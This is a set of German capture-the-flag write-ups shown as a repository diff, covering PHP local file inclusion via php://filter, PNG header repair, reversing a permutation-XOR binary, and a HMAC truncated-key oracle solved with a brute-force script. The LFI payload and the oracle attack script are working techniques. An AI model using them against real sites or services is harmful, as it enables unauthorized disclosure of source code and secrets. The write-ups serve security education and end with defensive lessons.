Willkommen zum Write-up für **The Wrapper**. Dies ist eine "Web"-Challenge, die eine klassische und mächtige Schwachstelle in PHP-Anwendungen untersucht: **Local File Inclusion (LFI)** unter Verwendung von **PHP Wrappers**.
|
||||
|
||||
In dieser Challenge haben wir Zugriff auf einen "Language Loader v2.0", der dynamisch verschiedene Sprachdateien lädt. Unser Ziel ist es, den geheimen Inhalt von `flag.php` zu lesen.
|
||||
|
||||
---
|
||||
|
||||
## 1. Erste Erkundung
|
||||
|
||||
Die Challenge-Beschreibung sagt:
|
||||
> "Unser Entwicklerteam hat gerade den neuen Language Loader v2.0 gestartet! Er bietet eine schlanke Sidebar und dynamisches Laden von Inhalten, um unsere globalen Benutzer auf Englisch, Deutsch und Spanisch zu unterstützen."
|
||||
|
||||
Wenn wir die Seite besuchen, sehen wir eine Sidebar mit Links wie:
|
||||
- `?lang=english.php`
|
||||
- `?lang=german.php`
|
||||
- `?lang=spanish.php`
|
||||
|
||||
Wenn wir auf diese Links klicken, ändert sich der Inhalt der Hauptbox. Dies ist ein starker Indikator für dynamische Datei-Inklusion.
|
||||
|
||||
## 2. Quellcode-Analyse
|
||||
|
||||
Die Challenge stellt uns `the_wrapper.tar.xz` zur Verfügung. Untersuchen wir `index.php`:
|
||||
|
||||
```php
|
||||
<div class="box">
|
||||
<?php
|
||||
// Standardsprache
|
||||
$file = "english.php";
|
||||
|
||||
if (isset($_GET['lang'])) {
|
||||
$file = $_GET['lang'];
|
||||
}
|
||||
|
||||
include($file);
|
||||
?>
|
||||
</div>
|
||||
```
|
||||
|
||||
Dieser Code nimmt den `lang`-Parameter direkt aus der URL und übergibt ihn an die PHP `include()`-Funktion. Dies ist eine klassische **Local File Inclusion (LFI)** Schwachstelle. Die Anwendung vertraut unserer Eingabe blind und versucht, jede von uns angegebene Datei einzubinden und auszuführen.
|
||||
|
||||
## 3. Das Hindernis: Ausführung vs. Offenlegung
|
||||
|
||||
Wir wissen, dass es eine `flag.php`-Datei im selben Verzeichnis gibt (wir haben sie im Quellcode-Archiv gesehen). Versuchen wir, sie einzubinden:
|
||||
`?lang=flag.php`
|
||||
|
||||
Die Seite lädt, aber die Box ist leer! Warum?
|
||||
Schauen wir uns `flag.php` an:
|
||||
|
||||
```php
|
||||
<?php
|
||||
$flag = "{flag:PHP_Wrappers_R_Magic_F0r_LFI}";
|
||||
?>
|
||||
```
|
||||
|
||||
Die Datei *definiert* nur eine Variable namens `$flag`; sie *druckt* sie nicht aus. Wenn wir sie über `?lang=flag.php` einbinden, führt PHP den Code aus, setzt die Variable, und das war's. Nichts wird auf dem Bildschirm angezeigt.
|
||||
|
||||
Um die Flagge zu erhalten, müssen wir den **Quellcode** von `flag.php` lesen, ohne ihn auszuführen.
|
||||
|
||||
## 4. Die Schwachstelle: PHP Wrapper
|
||||
|
||||
Der Challenge-Titel "The Wrapper" ist ein riesiger Hinweis. PHP hat ein Feature namens "Wrapper", das es Ihnen ermöglicht, die Art und Weise, wie auf Dateien zugegriffen wird, zu modifizieren.
|
||||
|
||||
Ein besonders nützlicher Wrapper für LFI ist `php://filter`. Er ermöglicht es Ihnen, Filter (wie Base64-Kodierung) auf eine Datei anzuwenden, bevor sie gelesen oder eingebunden wird.
|
||||
|
||||
Wenn wir den `convert.base64-encode`-Filter verwenden, kodiert PHP den gesamten Inhalt der Datei als Base64-String und "bindet" dann diesen String ein. Da ein Base64-String kein gültiger PHP-Code ist, wird er nicht ausgeführt – er wird einfach als reiner Text direkt auf die Seite gedruckt.
|
||||
|
||||
## 5. Ausnutzung
|
||||
|
||||
Wir können einen Payload erstellen, um den Quellcode von `flag.php` zu leaken:
|
||||
|
||||
`?lang=php://filter/convert.base64-encode/resource=flag.php`
|
||||
|
||||
Wenn wir diese URL besuchen, enthält die Inhaltsbox einen langen Base64-String:
|
||||
`PD9waHAKJGZsYWcgPSAie2ZsYWc6UEhQX1dyYXBwZXJzX1JfTWFnaWNfRjByX0xGSX0iOwo/Pgo=`
|
||||
|
||||
Jetzt müssen wir ihn nur noch dekodieren:
|
||||
`echo "PD9waHAKJGZsYWcgPSAie2ZsYWc6UEhQX1dyYXBwZXJzX1JfTWFnaWNfRjByX0xGSX0iOwo/Pgo=" | base64 -d`
|
||||
|
||||
```php
|
||||
<?php
|
||||
$flag = "{flag:PHP_Wrappers_R_Magic_F0r_LFI}";
|
||||
?>
|
||||
```
|
||||
|
||||
## 6. Die Lösung
|
||||
|
||||
**Flag:** `{flag:PHP_Wrappers_R_Magic_F0r_LFI}`
|
||||
|
||||
---
|
||||
|
||||
## Gelernte Lektionen
|
||||
|
||||
* **Vertrauen Sie niemals Benutzereingaben in `include()` oder `require()`:** Verwenden Sie eine Whitelist erlaubter Dateien, anstatt direkt vom Benutzer bereitgestellte Strings zu übergeben.
|
||||
* **PHP Wrapper sind mächtig:** Sie können verwendet werden, um Filter zu umgehen, Quellcode zu lesen oder sogar Remote Code Execution (RCE) in einigen Konfigurationen zu erreichen (z.B. `php://input` oder `data://`).
|
||||
* **Defense in Depth:** Selbst wenn eine LFI existiert, ist es schwerer auszunutzen, wenn die PHP-Konfiguration des Servers die Verwendung gefährlicher Wrapper einschränkt (`allow_url_include = Off`).
|
||||
|
||||
Frohes Hacken!
|
||||
64
de/tragic_magic.md
Normal file
64
de/tragic_magic.md
Normal file
@@ -0,0 +1,64 @@
|
||||
# Tragic Magic
|
||||
|
||||
`Tragic Magic` ist eine Forensik-Challenge, die eine beschädigte Bilddatei beinhaltet. Uns wird eine Datei namens `flag.png` zur Verfügung gestellt, sowie ein Hinweis, dass das Dateiübertragungsprotokoll die Binärdaten beschädigt haben könnte.
|
||||
|
||||
## Informationsbeschaffung
|
||||
|
||||
Wir beginnen damit, den Dateityp mit dem `file`-Befehl zu identifizieren:
|
||||
|
||||
```bash
|
||||
$ file flag.png
|
||||
flag.png: data
|
||||
```
|
||||
|
||||
Der `file`-Befehl sagt einfach "data", was bedeutet, dass er die Dateisignatur (Magic Bytes) nicht erkennt. Wenn wir versuchen, das Bild mit einem Viewer zu öffnen, wird dies fehlschlagen.
|
||||
|
||||
## Analyse
|
||||
|
||||
Untersuchen wir die ersten paar Bytes der Datei mit `xxd`:
|
||||
|
||||
```bash
|
||||
$ xxd -l 16 flag.png
|
||||
00000000: 5550 4e47 4141 1a0a 0000 000d 4948 4452 UPNGAA......IHDR
|
||||
```
|
||||
|
||||
Wir können die Strings `PNG` und `IHDR` in der ASCII-Darstellung deutlich sehen. `PNG` ist Teil der Standard-Dateisignatur, und `IHDR` ist der obligatorische erste Chunk jeder gültigen PNG-Datei. Dies bestätigt zweifelsfrei, dass die Datei als PNG-Bild gedacht ist.
|
||||
|
||||
Die "Magic Bytes" (die 8-Byte-Dateisignatur) ganz am Anfang sind jedoch inkorrekt.
|
||||
|
||||
**Gültige PNG-Signatur:**
|
||||
`89 50 4E 47 0D 0A 1A 0A` (`.PNG....`)
|
||||
|
||||
**Unsere Dateisignatur:**
|
||||
`55 50 4E 47 41 41 1A 0A` (`UPNGAA..`)
|
||||
|
||||
Die Signatur wurde teilweise beschädigt:
|
||||
- `89` wurde zu `55` ('U')
|
||||
- `0D 0A` (Windows Newline) wurde zu `41 41` ('AA')
|
||||
|
||||
Dies passt zum Hinweis über ein "optimales ASCII-Protokoll", das die Binärdaten verunstaltet.
|
||||
|
||||
## Lösung
|
||||
|
||||
Wir müssen den Datei-Header reparieren, damit Bildbetrachter ihn erkennen können.
|
||||
|
||||
1. Öffnen Sie `flag.png` in einem Hex-Editor.
|
||||
2. Suchen Sie die ersten 8 Bytes.
|
||||
3. Ersetzen Sie sie durch die Standard-PNG-Signatur: `89 50 4E 47 0D 0A 1A 0A`.
|
||||
4. Speichern Sie die Datei.
|
||||
|
||||
Alternativ können wir `printf` verwenden, um den Header über die Befehlszeile zu überschreiben:
|
||||
|
||||
```bash
|
||||
printf "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A" | dd of=flag.png bs=1 count=8 conv=notrunc
|
||||
```
|
||||
|
||||
Nach dem Fixen des Headers wird die Datei korrekt erkannt:
|
||||
|
||||
```bash
|
||||
$ file flag.png
|
||||
flag.png: PNG image data, 256 x 256, 8-bit/color RGB, non-interlaced
|
||||
```
|
||||
|
||||
Das Öffnen des wiederhergestellten Bildes enthüllt die in den Pixeln geschriebene Flagge:
|
||||
`{flag: corrupted_png_header}`
|
||||
166
de/twisted.md
Normal file
166
de/twisted.md
Normal file
@@ -0,0 +1,166 @@
|
||||
# Twisted
|
||||
|
||||
`twisted` ist eine Reverse-Engineering-Challenge, bei der wir eine Flagge aus einer bereitgestellten Binärdatei und einem verschlüsselten Ausgabestring wiederherstellen müssen.
|
||||
|
||||
## Informationsbeschaffung
|
||||
|
||||
Wir beginnen mit der Analyse des Dateityps der `twisted`-Binärdatei:
|
||||
|
||||
```bash
|
||||
$ file twisted
|
||||
twisted: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, ... stripped
|
||||
```
|
||||
|
||||
Die Binärdatei ist "stripped", was bedeutet, dass ihr Debugging-Symbole wie Funktionsnamen fehlen. Wenn wir uns mit dem Challenge-Server verbinden, erhalten wir die verschlüsselte Flagge:
|
||||
|
||||
```
|
||||
Here is your twisted flag: 34d133c640536c58ffcebb864a836aaf3bc432c3606b331df2d981a472bd6e80
|
||||
```
|
||||
|
||||
## Reverse Engineering
|
||||
|
||||
Wir öffnen die Binärdatei in Ghidra, um ihre Logik zu analysieren. Da die Binärdatei gestrippt ist, suchen wir zuerst den Einsprungpunkt (`entry`), der `__libc_start_main` aufruft. Das erste Argument für `__libc_start_main` ist die Adresse der `main`-Funktion. Diesem Pfad folgend gelangen wir zur Funktion bei `0x40190a`, die wir in `main` umbenennen.
|
||||
|
||||
### Main-Funktion (`0x40190a`)
|
||||
|
||||
Der dekompilierte Code für `main` enthüllt die erwarteten Argumente und eine grundlegende Validierung:
|
||||
|
||||
```c
|
||||
undefined8 main(int param_1,long param_2)
|
||||
|
||||
{
|
||||
size_t sVar1;
|
||||
|
||||
if (param_1 < 2) {
|
||||
printf("Usage: %s <flag>\n",*(undefined8 *)(param_2 + 8)); // Usage-String bei 0x49e081
|
||||
return 1;
|
||||
}
|
||||
sVar1 = strlen(*(char **)(param_2 + 8));
|
||||
if (sVar1 == 32) {
|
||||
FUN_004017b5(*(undefined8 *)(param_2 + 8));
|
||||
return 0;
|
||||
}
|
||||
printf("Error: Flag must be exactly %d characters long.\n",32); // Error-String bei 0x49e098
|
||||
return 1;
|
||||
}
|
||||
```
|
||||
|
||||
Daraus lernen wir, dass die Eingabeflagge genau **32 Zeichen** lang sein muss. Wenn die Länge korrekt ist, ruft sie `FUN_004017b5` auf.
|
||||
|
||||
### Transformationsfunktion (`0x4017b5`)
|
||||
|
||||
Wir analysieren `FUN_004017b5`, welche die Kernverschlüsselungslogik enthält. Sie führt zwei verschiedene Operationen auf dem Eingabestring aus.
|
||||
|
||||
```c
|
||||
void FUN_004017b5(long param_1)
|
||||
|
||||
{
|
||||
long lVar1;
|
||||
int local_84; // Zähler für Schleife 1
|
||||
int local_80; // Zähler für Schleife 2
|
||||
int local_7c; // Zähler für Schleife 3
|
||||
byte local_70 [32]; // Gemischter Puffer
|
||||
byte local_50 [32]; // Finaler XOR-Puffer
|
||||
byte local_30 [32]; // Eingabekopie
|
||||
|
||||
// ... Setup und Kopieren der Eingabe nach local_30 ...
|
||||
|
||||
// --- SCHRITT 1: Permutation ---
|
||||
local_84 = 0;
|
||||
while (local_84 < 32) {
|
||||
// Lade Byte aus Permutationstabelle bei 0x49e020
|
||||
// Verwende es als Index in den Eingabestring
|
||||
local_70[local_84] = local_30[(int)(uint)(byte)(&DAT_0049e020)[local_84]];
|
||||
local_84 = local_84 + 1;
|
||||
}
|
||||
|
||||
// --- SCHRITT 2: XOR-Verschlüsselung ---
|
||||
local_80 = 0;
|
||||
while (local_80 < 32) {
|
||||
// XOR das gemischte Byte mit einem Schlüsselbyte von 0x49e040
|
||||
local_50[local_80] = local_70[local_80] ^ (&DAT_0049e040)[local_80];
|
||||
local_80 = local_80 + 1;
|
||||
}
|
||||
|
||||
// --- Ergebnis drucken ---
|
||||
printf("Here is your twisted flag: "); // String bei 0x49e060
|
||||
local_7c = 0;
|
||||
while (local_7c < 32) {
|
||||
printf("%02x",(ulong)local_50[local_7c]);
|
||||
local_7c = local_7c + 1;
|
||||
}
|
||||
// ...
|
||||
}
|
||||
```
|
||||
|
||||
Der Algorithmus ist:
|
||||
1. **Permutation**: Verwende das Array bei `0x49e020`, um die Eingabezeichen neu anzuordnen.
|
||||
`shuffled[i] = input[PERM[i]]`
|
||||
2. **XOR**: XOR die neu angeordneten Zeichen mit dem Array bei `0x49e040`.
|
||||
`encrypted[i] = shuffled[i] ^ KEY[i]`
|
||||
|
||||
### Datenextraktion
|
||||
|
||||
Wir untersuchen den Speicher an den identifizierten Adressen, um die Permutationstabelle und den XOR-Schlüssel abzurufen.
|
||||
|
||||
**Permutationstabelle (`0x49e020`):**
|
||||
Werte: `3, 0, 1, 2, 7, 4, 5, 6, 10, 11, 8, 9, 15, 12, 13, 14, 19, 16, 17, 18, 22, 23, 20, 21, 25, 26, 27, 24, 31, 28, 29, 30`
|
||||
|
||||
**XOR-Schlüssel (`0x49e040`):**
|
||||
Werte (Hex): `55, AA, 55, AA, 12, 34, 56, 78, 9A, BC, DE, F0, 0F, F0, 0F, F0, 55, AA, 55, AA, 12, 34, 56, 78, 9A, BC, DE, F0, 0F, F0, 0F, F0`
|
||||
|
||||
## Lösung
|
||||
|
||||
Um die Flagge `34d133c6...` zu entschlüsseln, kehren wir die Operationen um:
|
||||
1. **XOR umkehren**: `shuffled[i] = encrypted[i] ^ KEY[i]`
|
||||
2. **Permutation umkehren**: `input[PERM[i]] = shuffled[i]`
|
||||
|
||||
### Solver-Skript
|
||||
|
||||
```python
|
||||
import sys
|
||||
|
||||
# Extrahiert von 0x49e020
|
||||
PERM = [
|
||||
3, 0, 1, 2, 7, 4, 5, 6,
|
||||
10, 11, 8, 9, 15, 12, 13, 14,
|
||||
19, 16, 17, 18, 22, 23, 20, 21,
|
||||
25, 26, 27, 24, 31, 28, 29, 30
|
||||
]
|
||||
|
||||
# Extrahiert von 0x49e040
|
||||
KEY = [
|
||||
0x55, 0xAA, 0x55, 0xAA, 0x12, 0x34, 0x56, 0x78,
|
||||
0x9A, 0xBC, 0xDE, 0xF0, 0x0F, 0xF0, 0x0F, 0xF0,
|
||||
0x55, 0xAA, 0x55, 0xAA, 0x12, 0x34, 0x56, 0x78,
|
||||
0x9A, 0xBC, 0xDE, 0xF0, 0x0F, 0xF0, 0x0F, 0xF0
|
||||
]
|
||||
|
||||
def solve(hex_string):
|
||||
encrypted_bytes = bytes.fromhex(hex_string)
|
||||
|
||||
if len(encrypted_bytes) != 32:
|
||||
print("Error: Length mismatch")
|
||||
return
|
||||
|
||||
# 1. XOR umkehren
|
||||
shuffled = [0] * 32
|
||||
for i in range(32):
|
||||
shuffled[i] = encrypted_bytes[i] ^ KEY[i]
|
||||
|
||||
# 2. Permutation umkehren
|
||||
original = [0] * 32
|
||||
for i in range(32):
|
||||
target_idx = PERM[i]
|
||||
original[target_idx] = shuffled[i]
|
||||
|
||||
print("Flag: " + "".join(chr(b) for b in original))
|
||||
|
||||
if __name__ == "__main__":
|
||||
solve("34d133c640536c58ffcebb864a836aaf3bc432c3606b331df2d981a472bd6e80")
|
||||
```
|
||||
|
||||
Das Ausführen des Skripts gibt uns die Flagge:
|
||||
`{flag: Reverse_Engineer_The_Map}`
|
||||
|
||||
```
|
||||
130
de/variable_security.md
Normal file
130
de/variable_security.md
Normal file
@@ -0,0 +1,130 @@
|
||||
# Variable Security
|
||||
|
||||
`Variable Security` ist eine Kryptographie-Challenge, die eine Schwachstelle in einem benutzerdefinierten HMAC-Signierdienst ausnutzt. Der Dienst ermöglicht es Benutzern, HMAC-SHA256-Signaturen für beliebige Nachrichten unter Verwendung eines geheimen Schlüssels (der Flagge) zu generieren. Entscheidend ist, dass der Dienst eine Funktion "Key Optimization Level" bietet, mit der der Benutzer festlegen kann, wie viele Bytes des geheimen Schlüssels für das Signieren verwendet werden sollen.
|
||||
|
||||
## Informationsbeschaffung
|
||||
|
||||
Uns wird eine Webinterface namens "SecureSign Enterprise" präsentiert. Es bietet ein Formular mit zwei Feldern:
|
||||
1. **Message Content**: Texteingabe für die zu signierende Nachricht.
|
||||
2. **Key Optimization Level**: Eine numerische Eingabe, die die Länge des zu verwendenden Schlüssels angibt.
|
||||
|
||||
Aus der Challenge-Beschreibung ("Wir erlauben Clients, das 'Key Optimization'-Level anzupassen") und dem Formularfeld `key_len` können wir ableiten, dass die Backend-Logik etwa so aussieht:
|
||||
|
||||
```python
|
||||
# Abgeleitete Logik
|
||||
# key_len kommt von der Benutzereingabe
|
||||
current_key = SECRET_KEY[:key_len] # Schwachstelle: Verwendet nur die ersten N Bytes
|
||||
h = hmac.new(current_key, message.encode(), hashlib.sha256)
|
||||
signature = h.hexdigest()
|
||||
```
|
||||
|
||||
Die Anwendung erstellt eine HMAC-Signatur unter Verwendung eines Teilstücks des geheimen Schlüssels, bestimmt durch die Benutzereingabe `key_len`. Dies ermöglicht es uns, Nachrichten unter Verwendung von nur den ersten $N$ Bytes der Flagge zu signieren.
|
||||
|
||||
## Die Schwachstelle
|
||||
|
||||
Dieses Setup erstellt ein **Orakel**, das Informationen über den Schlüssel Byte für Byte preisgibt. Die Schwachstelle liegt in der Tatsache, dass wir genau steuern können, wie viel des unbekannten Schlüssels in der kryptographischen Operation verwendet wird. Dies ermöglicht es uns, das Problem, den gesamten Schlüssel zu finden, darauf herunterzubrechen, ihn Zeichen für Zeichen zu finden.
|
||||
|
||||
Hier ist die Strategie:
|
||||
|
||||
**1. Finden des ersten Bytes:**
|
||||
Wir kennen den Schlüssel nicht, aber wir können den Server bitten, eine Nachricht (z.B. "test") unter Verwendung von nur **1 Byte** des Schlüssels zu signieren (`key_len=1`).
|
||||
* Der Server berechnet `HMAC(key[0], "test")` und gibt die Signatur zurück.
|
||||
* Wir können dies lokal replizieren! Wir versuchen jedes mögliche Zeichen (A, B, C...) als Schlüssel.
|
||||
* Wir berechnen `HMAC("A", "test")`, `HMAC("B", "test")`, usw.
|
||||
* Wenn unsere lokale Signatur mit der Signatur des Servers übereinstimmt, wissen wir, dass wir das erste Byte des geheimen Schlüssels gefunden haben.
|
||||
|
||||
**2. Finden des zweiten Bytes:**
|
||||
Jetzt, da wir das erste Byte kennen (sagen wir, es ist `{`), bitten wir den Server, "test" unter Verwendung von **2 Bytes** des Schlüssels zu signieren (`key_len=2`).
|
||||
* Der Server berechnet `HMAC("{?", "test")`.
|
||||
* Wir führen wieder Brute-Force für das unbekannte zweite Zeichen lokal durch. Wir versuchen `{A`, `{B`, `{C`...
|
||||
* Wir berechnen `HMAC("{A", "test")`, `HMAC("{B", "test")`...
|
||||
* Die Übereinstimmung enthüllt das zweite Byte.
|
||||
|
||||
**3. Wiederholen:**
|
||||
Wir setzen diesen Prozess für `key_len=3`, `key_len=4` usw. fort, bis wir die gesamte Flagge wiederhergestellt haben.
|
||||
|
||||
## Lösung
|
||||
|
||||
Wir können ein Skript schreiben, um diesen Byte-für-Byte-Brute-Force-Angriff zu automatisieren.
|
||||
|
||||
### Solver-Skript
|
||||
|
||||
```python
|
||||
import requests
|
||||
import hmac
|
||||
import hashlib
|
||||
import string
|
||||
import re
|
||||
|
||||
# Konfiguration
|
||||
TARGET_URL = "http://127.0.0.1:5000" # Nach Bedarf anpassen
|
||||
MESSAGE = "test"
|
||||
MAX_LEN = 33 # Maximale Länge der Flagge (abgeleitet oder durch Ausprobieren gefunden)
|
||||
|
||||
def get_signature(length):
|
||||
"""Fordere Signatur vom Server mit spezifischer Schlüssellänge an."""
|
||||
try:
|
||||
resp = requests.post(TARGET_URL, data={'message': MESSAGE, 'key_len': length})
|
||||
# Extrahiere Hex-Signatur aus der HTML-Antwort
|
||||
match = re.search(r'([a-f0-9]{64})', resp.text)
|
||||
return match.group(1) if match else None
|
||||
except:
|
||||
return None
|
||||
|
||||
def solve():
|
||||
known_flag = b""
|
||||
print(f"[*] Starting attack on {TARGET_URL}...")
|
||||
|
||||
# Iteriere durch jede Byte-Position
|
||||
for length in range(1, MAX_LEN + 1):
|
||||
# 1. Hole die Zielsignatur vom Server
|
||||
# Diese Signatur wird unter Verwendung der echten ersten 'length' Bytes der Flagge generiert
|
||||
target_sig = get_signature(length)
|
||||
if not target_sig:
|
||||
print(f"[-] Failed to get signature for length {length}")
|
||||
break
|
||||
|
||||
# 2. Brute-Force das nächste Zeichen
|
||||
found = False
|
||||
# Versuche alle druckbaren Zeichen
|
||||
for char_code in string.printable.encode():
|
||||
char = bytes([char_code])
|
||||
|
||||
# Konstruiere unseren Rateversuch: Der Teil, den wir schon kennen + das neue Zeichen, das wir testen
|
||||
candidate_key = known_flag + char
|
||||
|
||||
# Berechne HMAC lokal mit unserem Rateversuch
|
||||
local_sig = hmac.new(candidate_key, MESSAGE.encode(), hashlib.sha256).hexdigest()
|
||||
|
||||
# Wenn die Signaturen übereinstimmen, ist unser Rateversuch für das neue Zeichen korrekt
|
||||
if local_sig == target_sig:
|
||||
known_flag += char
|
||||
print(f"[+] Byte {length}: {char.decode()} -> {known_flag.decode()}")
|
||||
found = True
|
||||
break
|
||||
|
||||
if not found:
|
||||
print("[-] Character not found in printable range.")
|
||||
break
|
||||
|
||||
print(f"\n[!] Final Flag: {known_flag.decode()}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
solve()
|
||||
```
|
||||
|
||||
### Ausführung
|
||||
|
||||
Das Ausführen des Skripts stellt die Flagge Zeichen für Zeichen wieder her:
|
||||
|
||||
```bash
|
||||
$ python3 solve.py
|
||||
[*] Starting attack on http://127.0.0.1:5000...
|
||||
[+] Byte 1: { -> {
|
||||
[+] Byte 2: f -> {f
|
||||
[+] Byte 3: l -> {fl
|
||||
...
|
||||
[+] Byte 32: } -> {flag: byte_by_byte_we_get_rich}
|
||||
[!] Final Flag: {flag: byte_by_byte_we_get_rich}
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user